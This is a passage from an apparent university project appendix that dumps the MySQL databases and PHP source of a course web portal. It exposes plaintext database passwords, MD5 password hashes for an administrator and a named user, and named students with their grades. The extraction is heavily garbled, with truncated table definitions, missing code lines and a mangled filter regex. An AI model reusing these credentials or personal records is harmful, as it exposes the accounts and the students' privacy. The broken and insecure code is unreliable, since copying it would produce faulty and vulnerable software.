--- Dumping data for table 'dudas'
-LOCK TABLES dudas WRITE;
INSERT INTO dudas VALUES (2,'Dnde puedo encontrar al profesorado
de la asignatura?','El profesorado se encuentra en las dependencias
del rea de Tecnologa Electrnica, del departamento de Ingeniera
Electrnica, situadas en la entreplanta E2 esquina SurOeste del
edificio principal de la Escuela de Ingenieros y en la primera
planta del edificio L2 de laboratorios.','2001-10-20'),(4,'Cul es
el horario de tutoras de Federico Barrero?','Los lunes de 17:00 a
20:00 y los martes de 10:00 a 14:00.','2002-02-12'),(5,'Cul es el
horario de tutoras de Sergio Toral?','Los lunes, mircoles y jueves
de 10:00 a 12:00.','2002-02-12'),(6,'Cul es el horario de tutoras
Pg. 222
de Juan Antonio Snchez?','Los mircoles de 9:00 a 13:00 y jueves de

9:00 a 11:00.','2002-02-12');
/*!40000 ALTER TABLE dudas ENABLE KEYS */;
UNLOCK TABLES;
--- Current Database: encuesta_csed
-CREATE DATABASE /*!32312 IF NOT EXISTS*/ encuesta_csed;
USE encuesta_csed;
--- Table structure for table 'bloque1_prof1'
-DROP TABLE IF EXISTS bloque1_prof1;
CREATE TABLE bloque1_prof1 (
valor1 int(11) NOT NULL default '0',
pregunta1 enum('1','2','3','4','5') default
PRIMARY KEY (id)
) TYPE=MyISAM;
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
/*!40000 ALTER TABLE bloque1_prof1 DISABLE KEYS */;

--- Dumping data for table 'bloque1_prof1'
-LOCK TABLES bloque1_prof1 WRITE;
/*!40000 ALTER TABLE bloque1_prof1 ENABLE KEYS */;
UNLOCK TABLES;
valor1 int(10) unsigned default NULL,
pregunta1 enum('1','2','3','4','5') default NULL,
Pg. 223
pregunta3 enum('1','2','3','4','5')
pregunta4 enum('1','2','3','4','5')
pregunta5 enum('1','2','3','4','5')
pregunta6 enum('1','2','3','4','5')
pregunta7 enum('1','2','3','4','5')
pregunta8 enum('1','2','3','4','5')
PRIMARY KEY (id)
) TYPE=MyISAM;
default
default
default
default
default
default
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,

UNLOCK TABLES;
PRIMARY KEY (id)
) TYPE=MyISAM;
UNLOCK TABLES;
--
Pg. 224
DROP TABLE IF EXISTS bloque2_prof1;

PRIMARY KEY (id)
) TYPE=MyISAM;
UNLOCK TABLES;
PRIMARY KEY (id)
) TYPE=MyISAM;
Pg. 225

UNLOCK TABLES;
PRIMARY KEY (id)
) TYPE=MyISAM;
UNLOCK TABLES;
pregunta17 enum('1','2','3','4','5')
pregunta18 enum('1','2','3','4','5')
pregunta19 enum('1','2','3','4','5')
pregunta20 enum('1','2','3','4','5')
pregunta21 enum('1','2','3','4','5')
pregunta22 enum('1','2','3','4','5')
pregunta23 enum('1','2','3','4','5')
pregunta24 enum('1','2','3','4','5')
PRIMARY KEY (id)
) TYPE=MyISAM;
default
default
default
default
default
default
default
default
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
Pg. 226

UNLOCK TABLES;
PRIMARY KEY (id)
) TYPE=MyISAM;
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,

UNLOCK TABLES;
Pg. 227
pregunta20 enum('1','2','3','4','5')
pregunta21 enum('1','2','3','4','5')
pregunta22 enum('1','2','3','4','5')
pregunta23 enum('1','2','3','4','5')
pregunta24 enum('1','2','3','4','5')
PRIMARY KEY (id)
) TYPE=MyISAM;
default
default
default
default
default
NULL,
NULL,
NULL,
NULL,
NULL,

UNLOCK TABLES;
--- Table structure for table 'opinion_prof1'
-DROP TABLE IF EXISTS opinion_prof1;
CREATE TABLE opinion_prof1 (
opinion text,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE opinion_prof1 DISABLE KEYS */;
--- Dumping data for table 'opinion_prof1'
-LOCK TABLES opinion_prof1 WRITE;
/*!40000 ALTER TABLE opinion_prof1 ENABLE KEYS */;
UNLOCK TABLES;
opinion text,
PRIMARY KEY (id)
) TYPE=MyISAM;
Pg. 228

UNLOCK TABLES;
opinion text,
PRIMARY KEY (id)
) TYPE=MyISAM;
UNLOCK TABLES;
--- Current Database: notas_csed
-CREATE DATABASE /*!32312 IF NOT EXISTS*/ notas_csed;
USE notas_csed;
--- Table structure for table 'datos'
-DROP TABLE IF EXISTS datos;
CREATE TABLE datos (
asig text,
conv text,
fecha date default NULL
) TYPE=MyISAM;
/*!40000 ALTER TABLE datos DISABLE KEYS */;
Pg. 229
--- Dumping data for table 'datos'

-LOCK TABLES datos WRITE;
INSERT INTO datos VALUES ('2002-2003','Examen Final Extraordinario
de Diciembre','2002-12-05');
/*!40000 ALTER TABLE datos ENABLE KEYS */;
UNLOCK TABLES;
--- Table structure for table 'notas'
-DROP TABLE IF EXISTS notas;
CREATE TABLE notas (
alumno text,
nota float default NULL,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE notas DISABLE KEYS */;
--- Dumping data for table 'notas'
-LOCK TABLES notas WRITE;
INSERT INTO notas VALUES (1596,'Germn Soriano
Rull',5),(1597,'Antonio Garca Navarro',7.85),(1598,'Jos Siles
Rodriguez',4.9),(1599,'Amada Pulido',9.75);
/*!40000 ALTER TABLE notas ENABLE KEYS */;
UNLOCK TABLES;
--- Current Database: noticias_csed
-CREATE DATABASE /*!32312 IF NOT EXISTS*/ noticias_csed;
USE noticias_csed;
--- Table structure for table 'noticias'
-DROP TABLE IF EXISTS noticias;
CREATE TABLE noticias (
Pg. 230
noticia text,
comentario text,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE noticias DISABLE KEYS */;
--- Dumping data for table 'noticias'
-LOCK TABLES noticias WRITE;
INSERT INTO noticias VALUES (4,'Grupos que trabajarn con el
simulador WinSim','Los grupos 4 y 6 trabajarn con el simulador
WinSim, en lugar de utilizar el de Texas Instruments.','2002-0313'),(7,'Comienzo del Bloque 3 de prcticas','El prximo viernes 26
de abril, se impartir el seminario correspondiente al bloque 3 de
las prcticas en el aula 310. Se celebrarn 3 seminarios en horarios
de 8:30 a 10:30, de 10:30 a 12:30 y de 12:30 a 14:30.','2002-0423'),(6,'Recordatorio del horario de prcticas','Grupo 1: Viernes 22
de marzo de 10:00 a 12:00. Grupo 2: Viernes 22 de marzo de 12:00 a
14:00. Grupo 3: Lunes 1 de abril de 10:00 a 12:00. Grupo 4: Lunes 1
de abril de 12:00 a 14:00. Grupo 5: Viernes 5 de abril de 10:00 a
12:00. Grupo 6: Viernes 5 de abril de 12:00 a 14:00. Grupo 7: Lunes
8 de abril de 10:00 a 12:00. Grupo 8: Lunes 8 de abril de 12:00 a
14:00. Grupo 9: Viernes 12 de abril de 10:00 a 12:00. Grupo 10:
Viernes 12 de abril de 12:00 a 14:00.','2002-03-13'),(8,'Novedad!:
Disponibles problemas resueltos de exmenes de la asignatura','En
formato pdf y versin preliminar (sin depurar). Aquellas personas
interesadas debern ponerse en contacto, va email, con Federico
Barrero y debern comprometerse a la depuracin de los mismos para
su aprovechamiento en cursos posteriores.','2002-04-23');
/*!40000 ALTER TABLE noticias ENABLE KEYS */;
UNLOCK TABLES;
--- Current Database: usuarios_csed
-CREATE DATABASE /*!32312 IF NOT EXISTS*/ usuarios_csed;
USE usuarios_csed;
--- Table structure for table 'cuentas'
-DROP TABLE IF EXISTS cuentas;
CREATE TABLE cuentas (
user varchar(16) NOT NULL default '',
pass varchar(32) NOT NULL default '',
realname varchar(50) default NULL,
Pg. 231
modificado timestamp(14) NOT NULL,

PRIMARY KEY (user)
) TYPE=MyISAM;
/*!40000 ALTER TABLE cuentas DISABLE KEYS */;
--- Dumping data for table 'cuentas'
-LOCK TABLES cuentas WRITE;
INSERT INTO cuentas VALUES
('root','ca7003a70c9b23055f9869c9fd4038d4','Administrador',200210242
23451),('isabela','b1b5ec7fbc714d010730e87a690ff44c','Isabel
Malo',20021029011513);
/*!40000 ALTER TABLE cuentas ENABLE KEYS */;
UNLOCK TABLES;
--- Table structure for table 'permisos'
-DROP TABLE IF EXISTS permisos;
CREATE TABLE permisos (
user char(16) NOT NULL default '',
usuarios_edit tinyint(1) NOT NULL default '0',
usuarios_del tinyint(1) NOT NULL default '0',
usuarios_add tinyint(1) NOT NULL default '0',
dudas_r tinyint(1) NOT NULL default '0',
dudas_w tinyint(1) NOT NULL default '0',
encuesta1 tinyint(1) NOT NULL default '0',
notas_r tinyint(1) NOT NULL default '0',
notas_w tinyint(1) NOT NULL default '0',
noticias_r tinyint(1) NOT NULL default '0',
noticias_w tinyint(1) NOT NULL default '0',
cuestionario_r tinyint(1) NOT NULL default '0',
cuestionario_w tinyint(1) NOT NULL default '0',
monitores_r tinyint(1) NOT NULL default '0',
monitores_w tinyint(1) NOT NULL default '0',
admin_tool tinyint(1) NOT NULL default '0',
chpass tinyint(1) NOT NULL default '0',
encuesta_r tinyint(1) NOT NULL default '0',
encuesta_w tinyint(1) NOT NULL default '0',
usuarios_list tinyint(1) NOT NULL default '0',
PRIMARY KEY (user)
) TYPE=MyISAM;
/*!40000 ALTER TABLE permisos DISABLE KEYS */;
--- Dumping data for table 'permisos'
Pg. 232
-LOCK TABLES permisos WRITE;

INSERT INTO permisos VALUES
('root',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),('isabela',0,0,0,
1,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,0);
/*!40000 ALTER TABLE permisos ENABLE KEYS */;
UNLOCK TABLES;
Pg. 233
Apndice F. Cdigo del portal implementado
Apndice F
Cdigo del portal implementado
1. Introduccin.
El presente proyecto ha implicado el desarrollo de cdigo PHP y HTML para
dos portales diferentes: CSED y LIE. Slo incluiremos en este apndice cdigo
relacionado con el primero de ellos. Se sobreentiende que el segundo portal ha sido
implementado de manera similar.
2. Cdigo.
2.1.
/config/config.php
<?php
// Este archivo ser cargado dinmicamente mediante require() desde distintos
scripts.
// Ser el encargado de mantener toda la configuracin del portal y algunas
funciones
// importantes que sern frecuentemente utilizadas.
Pg. 234
// *****************
// * CONFIGURACION *
// *****************
/* Identificador de portal */
$portal = 'csed';
$nombre_portal = 'Complementos de sistemas electrnicos digitales';
/* E-Mail del Webmaster */
$webmaster = 'fbarrero@gte.esi.us.es';
/* Profesores (encuesta de calidad) */
$profesor1 = 'Federico';
$profesor2 = 'Sergio';
$profesor3 = 'Juan Antonio';
/* Color principal de fondo */
$colorbg='#99cccc';
/* Si lo siguiente est a 0 las notas se leern del archivo "notas_np.php" */
$notas_publicadas = 1;
/* Host donde reside la bbdd */
$dbhost = 'localhost';
/* Usuario de slo lectura para la bbdd */
$dbuser_ro = 'csed';
$dbpass_ro = 'MQVbnSBT';
/* Usuario privilegiado para la bbdd */
$dbuser_rw = 'csed_admin';
$dbpass_rw = 'B0e8Yt4K';
/* Las distintas bbdd asociadas a cada servicio
*
* (comentar o dejar a '' si el servicio est deshabilitado) */
$db_usuarios = 'usuarios_csed';
$db_cuestionario = 'cuestionario_csed';
$db_dudas = 'dudas_csed';
$db_encuesta = 'encuesta_csed';
$db_notas = 'notas_csed';
$db_noticias = 'noticias_csed';
$db_monitores = '';
/* Permisos por defecto para nuevos usuarios creados (si no se definen sern 0) */
$defperm = array( 'usuarios_list' => 0
, 'usuarios_edit' => 0
, 'usuarios_del' => 0
, 'usuarios_add' => 0
, 'download' => 1
, 'dudas_r' => 1
, 'dudas_w' => 0
, 'encuesta_r' => 1
, 'encuesta_w' => 0
, 'encuesta1' => 0
, 'encuesta2' => 0
, 'encuesta3' => 0
, 'notas_r' => 1
, 'notas_w' => 0
, 'noticias_r' => 1
, 'noticias_w' => 0
, 'cuestionario_r' => 1
, 'cuestionario_w' => 0
, 'monitores_r' => 1
, 'monitores_w' => 0
, 'admin_tool' => 1
, 'chpass' => 1
);
Pg. 235
/* Securizamos todas las variables globales */

sanitize_vars_fixed();
// *************
// * Funciones *
// *************
/* Sanitized Vars Routine by RoMaNSoFt (r0man@phreaker.net) */
function sanitize_vars() {
if ($magic_quotes)
else
$GLOBALS[$var][$i] = addslashes(htmlentities($j, ENT_NOQUOTES));
}
} else {
if ($magic_quotes)
else
$GLOBALS[$var] = addslashes(htmlentities($value, ENT_NOQUOTES));
}
}
}
/* (Optimized) Sanitized Vars Routine by RoMaNSoFt (r0man@phreaker.net) */
function sanitize_vars_opt() {
if ($magic_quotes) {
}
} else {
}
}
} else {
$GLOBALS[$var][$i] = addslashes(htmlentities($j, ENT_NOQUOTES));
}
} else {
$GLOBALS[$var] = addslashes(htmlentities($value, ENT_NOQUOTES));
}
}
}
}
/* F-I-X-E-D Sanitized Vars Routine by RoMaNSoFt (r0man@phreaker.net) */
function sanitize_vars_fixed() {
Pg. 236
$j = preg_replace("/\\\\/", "", $j);

$GLOBALS[$var][$i] = addslashes(htmlentities($j, ENT_QUOTES));
}
} else {
$value = preg_replace("/\\\\/", "", $value);
$GLOBALS[$var] = addslashes(htmlentities($value, ENT_QUOTES));
}
}
}
/* Conecta a la bbdd con privilegios de slo lectura */
function conectar() {
global $dbhost, $dbuser_ro, $dbpass_ro;
$dbi = mysql_connect($dbhost, $dbuser_ro, $dbpass_ro);
if ( ! $dbi) {
include ("../msg/err_db_connection.html");
exit;
}
}
return $dbi;
/* Conecta a la bbdd con privilegios de admin */

function conectar_admin() {
global $dbhost, $dbuser_rw, $dbpass_rw;
$dbi = mysql_connect($dbhost, $dbuser_rw, $dbpass_rw);
if ( ! $dbi) {
include ("../msg/err_db_connection.html");
exit;
}
return $dbi;
}
/* Inicializa datos de sesin y chequea privilegios */
function check_privs($priv) {
global $portal;
session_start();
if (isset($GLOBALS['relogin'])) {
session_unset();
header ("Location: ".$_SERVER['SCRIPT_NAME']);
exit;
}
if (! ( isset($_SESSION['user']) && isset($_SESSION['portal']) &&
$_SESSION['portal'] == $portal ) ) {
include("../login/login.php");
exit;
}
$permisos = $_SESSION['permisos'];
if (! ( isset($permisos[$priv]) && $permisos[$priv] ) ) {
include ("../msg/err_noprivs.php");
exit;
}
}
/* Filtra todos los caracteres excepto los alfanumricos y el "_" */
function filtro_alfanumerico(&$var) {
$sinfiltrar = $var;
Pg. 237
$var = preg_replace("/[Â-Za-z0-9_]/", "", $var);

} else {
}
/* Filtra todos los caracteres excepto los numricos */

function filtro_numerico(&$var) {
$sinfiltrar = $var;
$var = preg_replace("/[^0-9]/", "", $var);
} else {
}
}
/* Imprime los enlaces de pie de pgina (atrs y home) */
function pie($atras, $home) {
echo '<table width="100%" border="0" cellspacing="2" cellpadding="2">';
echo '<tr><td colspan=4> </td></tr><tr><td width="10%" align="right">';
if ($atras) {
echo '<a href="'.$atras.'"><img border=0 src="../images/atras.gif" width="17"
height="16" alt=""></a></td>';
echo '<td width="25%" ><font size="-1"><b>Atrs</b></font></td>';
} else {
echo '</td><td width="25%" ></td>';
}
if ($home) {
echo '<td align="right"><a href="'.$home.'"><img border=0
src="../images/hazhome[1].gif" width="26" height="26" alt=""></a></td>';
echo '<td><b>Volver al inicio</b> </td>';
} else {
echo '<td align="right"></td><td></td>';
}
echo '</tr></table>';
}
?>
2.2.
/download/index.php
<?php
check_privs('download');
function download($fichero, $nombrefich) {
$image_size = filesize ($fichero);
if ($image_size) {
header ("Accept-Ranges: bytes");
header ("Content-Length: $image_size");
header ("Content-Type: application/octet-stream");
header ("Content-Disposition-type: attachment");
header ("Content-Disposition: attachment; filename=\"$nombrefich\"");
readfile ($fichero);
} else {
echo "Fichero no encontrado";
}
Pg. 238
}
if (isset($id)) {
switch($id) {
case "1":
download("ficheros/tema1.pdf", "tema1.pdf");
break;
case "2":
break;
case "3":
break;
case "4":
break;
case "5":
download("ficheros/problemasresueltos.pdf", "problemasresueltos.pdf");
break;
default:
echo "Opcion incorrecta";
exit;
}
else {
include "apuntes.html";
}
?>
2.3.
/admin/acceso_cuestionario.php
<?php
check_privs('cuestionario_w');
?>
<html>
<head>
<title>Acceso a la base de datos: cuestionario</title>
<style>
p.t1 {font: bold 16px Verdana, Arial; line-height:18px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
p.t2 {font: bold 12px Verdana, Arial; line-height:15px; color:#004433; TEXTDECORATION: none;text-indent:2px}
font.t1 {font: 13px Verdana, Arial; line-height:18px; color:#007f40; TEXT-DECORATION:
none;text-indent:2px}
</style>
</head>
<body bgcolor=<?php echo $colorbg; ?> text="#000000">
<table border="0" width="100%">
<tr>
<td valign="top" width=10%>
<p align="center" class=t1><img src="../images/gte_small_ani.gif" alt="Grupo de
Tecnologa Electrnica">
</td>
Pg. 239
<td align="center"> <b><font face="Arial" color="#000000" size="4"><small><?php

echo $nombre_portal; ?></small></font> </b></td>
<p align="center"><img src="../images/gte_small_ani.gif" alt="Grupo de
</td>
</tr>
</table>
<hr>
<?
/***************************/
/* PROGRAMA: acceso.php
*/
/***************************/
/***********************************/
/* Conectamos con la base de datos */
/***********************************/
$base = $db_cuestionario;
$id = conectar_admin();
$conexion = mysql_select_db($base, $id) OR die ("No puedo conectar con la base de
datos $base. ");
/* Creamos la sentencia sql segn lo que queramos hacer */
if (!(isset($elecion))) print ("<table align=\"center\"><tr><td><p class=t1>Por
favor, elija qué quiere hacer</p></td></tr></table>");
else if ($elecion=="1"){
echo "<form action=insertar_cuestion.php method=post>";
echo "<table width=\"90%\" align=\"center\" cellpadding=1 cellspacing=2>";
echo "<tr><td bgcolor=#007f40>";
echo "<table width=100% border=0 cellpadding=2 cellspacing=4 align=\"center\"
bgcolor=\"#99CCAF\">";
echo "<tr><td colspan=2><p class=t1>Rellene el formulario y pulse
Insertar.</p></td></tr>";
echo "<tr><td><p class=t2>Cuestión:</p></td>";
echo "<td><textarea name=\"cuestion\" rows=\"5\"
cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Opción a:</p></td>";
echo "<td><textarea name=\"opa\" rows=\"5\" cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Opción b:</p></td>";
echo "<td><textarea name=\"opb\" rows=\"5\" cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Opción c:</p></td>";
echo "<td><textarea name=\"opc\" rows=\"5\" cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Opción d:</p></td>";
echo "<td><textarea name=\"opd\" rows=\"5\" cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Solucin:</p></td>";
echo "<td><input type=\"radio\" name=\"solucion\" value=\"a\"
checked>a   ";
echo "<input type=\"radio\" name=\"solucion\" value=\"b\">b   ";
echo "<input type=\"radio\" name=\"solucion\" value=\"c\">c   ";
echo "<input type=\"radio\" name=\"solucion\"
value=\"d\">d   </td>";
echo "<tr><td colspan=2 align=\"center\"><input type=submit
value=\"Insertar\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_cuestion.php method=post>\n";
echo "<table width=\"90%\" align=\"center\" cellpadding=1 cellspacing=0>\n";
echo "<tr><td bgcolor=\"#007f40\">\n";
bgcolor=\"#99CCAF\">\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la cuestión
a eliminar y pulse Borrar</p></td></tr>\n";
Pg. 240
echo "<tr><td><p class=t2> </p></td><td><p

class=t2>Cuestión</p></td></tr>\n";
echo "<tr><td colspan=3> </td></tr>";
$cons = "SELECT id,texto FROM pregunta";
$res = mysql_query ($cons, $id) OR die ("Fallo en la respuesta.");
$k = mysql_num_rows ($res);
for ($i=0; $i<$k; $i++){
$valor = mysql_result($res, $i,0);
$name = "caja".$i;
echo "<tr><td> <input type=checkbox name=\"$name\"
value=\"$valor\"></td>\n";
print ("<td><p class=t3>$valor</p></td>\n");
}
echo "<input type=\"hidden\" name=\"numcuestiones\" value=\"$k\">";
value=\"Borrar\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
mysql_free_result($res);
}
echo "<form action=borrar_todas_cuestiones.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Si sigue adelante borrar
todas las cuestiones de la base de datos. Est seguro?</p></td></tr>\n";
$cons = "SELECT id FROM pregunta";
echo "<input type=\"hidden\" name=\"numcuestiones\" value=\"$k\">";
value=\"Seguir\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=editar_cuestion.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la cuestión
a editar y pulse Editar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p
class=t2>Cuestión</p></td></tr>\n";
$cons = "SELECT id,texto FROM pregunta";
for ($i=0; $i<$k; $i++){
if ($i == 0) {
echo "<tr><td> <input type=radio name=\"id_cuestion\" value=\"$valor\"
checked></td>\n";
} else {
echo "<tr><td> <input type=radio name=\"id_cuestion\"
}
Pg. 241

}
value=\"Editar\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_cuestionario.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.4.
/admin/acceso_dudas.php
<?php
check_privs('dudas_w');
?>
<html>
<head>
<title>Acceso a la base de datos: dudas</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
/***************************/
*/
/***************************/
/***********************************/
/***********************************/
$base = $db_dudas;
datos $base. ");
Pg. 242

echo "<form action=insertar_duda.php method=post>";
echo "<tr><td><p class=t2>Pregunta:</p></td>";
echo "<td><textarea name=\"pregunta\" rows=\"5\"
echo "<tr><td><p class=t2>Respuesta:</p></td>";
echo "<td><textarea name=\"respuesta\" rows=\"5\"
echo "<tr><td><p class=t2>Fecha:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"fecha\" SIZE=\"50\" VALUE=\"\">
<font class=t1>  (opcional)</font></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_duda.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la duda a eliminar
y pulse Borrar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Pregunta</p></td><td
width=15%><p class=t2>Fecha</p></td></tr>\n";
$cons = "SELECT id,pregunta, fecha FROM dudas ";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
}
echo "<input type=\"hidden\" name=\"numdudas\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_todas.php method=post>\n";
Pg. 243

todas las dudas de la base de datos. Est seguro?</p></td></tr>\n";
$cons = "SELECT id FROM dudas ";
echo "<input type=\"hidden\" name=\"numdudas\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=editar_duda.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la duda a editar y
pulse Editar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Pregunta</p></td><td
$cons = "SELECT id,pregunta, fecha FROM dudas ";
for ($i=0; $i<$k; $i++){
if ($i == 0) {
echo "<tr><td> <input type=radio name=\"id_duda\" value=\"$valor\"
checked></td>\n";
} else {
echo "<tr><td> <input type=radio name=\"id_duda\"
}
}
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_dudas.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.5.
/admin/acceso_encuesta.php
<?php
check_privs('encuesta_w');
?>
<html>
<head>
Pg. 244
<title>Acceso a la base de datos: encuesta</title>

<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
/***************************/
*/
/***************************/
/***********************************/
/***********************************/
$base = $db_encuesta;
datos $base. ");
/**************************/
/** Mostrar estadisticas **/
/**************************/
?>
<form action="crear_estadisticas.php" method=post >
<table width="90%" align="center" cellpadding=1 cellspacing=2 bgcolor="#99CCAF">
<table width=100% border=0 cellpadding=2 cellspacing=4 align="center"
bgcolor="#99CCAF">
<tr>
<td colspan=2 height="32">
<p class=t1>
Por favor, seleccione el profesor:</p>
</td>
</tr>
<tr>
<td colspan=2 height="23"> </td>
</tr>
<tr>
<td valign="top" height="23" width="313"> </td>
<td width="547">
Pg. 245
<p class=t2>
<input TYPE="radio" align="right" NAME="prof" VALUE="1" checked>
<?php echo $profesor1 ?>.</p>
</td>
</tr>
<tr>
<td height="23" valign="top" width="313"> </td>
<td width="547">
<p class=t2>
<input TYPE="radio" align="right" NAME="prof" VALUE="2">
</td>
</tr>
<tr>
<td height="23" width="313" valign="top"> </td>
<td width="547">
<p class=t2>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
<input type=submit value=Seguir>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<?php
}
/********************************************/
/** Borrar encuestas para un profesor dado **/
/********************************************/
?>
<form action="borrar_encuesta_prof.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
Por favor, seleccione el profesor:</p>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
<input TYPE="radio" align="right" NAME="prof" VALUE="1" checked>
</td>
</tr>
<tr>
Pg. 246

<td width="547">
<p class=t2>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<?php
}
/********************************************/
/** Borrar todas las encuestas almacenadas **/
/********************************************/
echo "<form action=borrar_todas_encuestas.php method=post>\n";
todas las encuestas almacenadas en la base de datos. Est seguro?</p></td></tr>\n";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_encuesta.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.6.
/admin/acceso_monitores.php
<?php
check_privs('monitores_w');
?>
<html>
Pg. 247
<head>
<title>Acceso a la base de datos: monitores</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
/***************************/
*/
/***************************/
/***********************************/
/***********************************/
$base = $db_monitores;
datos $base. ");
echo "<form action=insertar_monitor.php method=post>";
echo "<tr><td><p class=t2>Monitor:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"monitor\" SIZE=\"50\"
VALUE=\"\"></td></tr>";
echo "<tr><td><p class=t2>E-Mail:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"email\" SIZE=\"50\"
VALUE=\"\"><font class=t1>  (opcional)</font></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
Pg. 248
echo "<form action=borrar_monitor.php method=post>\n";

echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione el monitor a
eliminar y pulse Borrar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Monitor</p></td><td
width=50%><p class=t2>E-Mail</p></td></tr>\n";
$cons = "SELECT id, nombre, dir FROM monitores";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
}
echo "<input type=\"hidden\" name=\"nummonitores\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_todos_monitores.php method=post>\n";
todos los monitores de la base de datos. Est seguro?</p></td></tr>\n";
$cons = "SELECT id FROM monitores";
echo "<input type=\"hidden\" name=\"nummonitores\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=editar_monitor.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione el monitor a editar
y pulse Editar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Monitor</p></td><td
width=50%><p class=t2>E-Mail</p></td></tr>\n";
$cons = "SELECT id, nombre, dir FROM monitores";
for ($i=0; $i<$k; $i++){
Pg. 249

if ($i == 0) {
echo "<tr><td> <input type=radio name=\"id_monitor\" value=\"$valor\"
checked></td>\n";
} else {
echo "<tr><td> <input type=radio name=\"id_monitor\"
}
}
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_monitores.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.7.
/admin/acceso_notas.php
<?php
check_privs('notas_w');
?>
<html>
<head>
<title>Acceso a la base de datos: notas</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
Pg. 250
/***************************/
*/
/***************************/
/***********************************/
/***********************************/
$base = $db_notas;
datos $base. ");
echo "<form action=insertar_nota.php method=post>";
echo "<tr><td><p class=t2>Alumno:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"alumno\" SIZE=\"50\"
VALUE=\"\"></td></tr>";
echo "<tr><td><p class=t2>Nota:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"nota\" SIZE=\"50\"
VALUE=\"\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_nota.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la nota a eliminar
y pulse Borrar</p></td></tr>\n";
echo "<tr><td width=5%><p class=t2> </p></td><td><p
class=t2>Alumno</p></td><td width=15%><p class=t2>Nota</p></td></tr>\n";
$cons = "SELECT id, alumno, nota FROM notas ";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
print ("<td><p class=t3>$valor</p></td></tr>\n");
}
echo "<input type=\"hidden\" name=\"numnotas\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
Pg. 251
}
echo "<form action=borrar_todas_notas.php method=post>\n";
todas las notas de la base de datos. Est seguro?</p></td></tr>\n";
$cons = "SELECT id FROM notas ";
echo "<input type=\"hidden\" name=\"numnotas\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
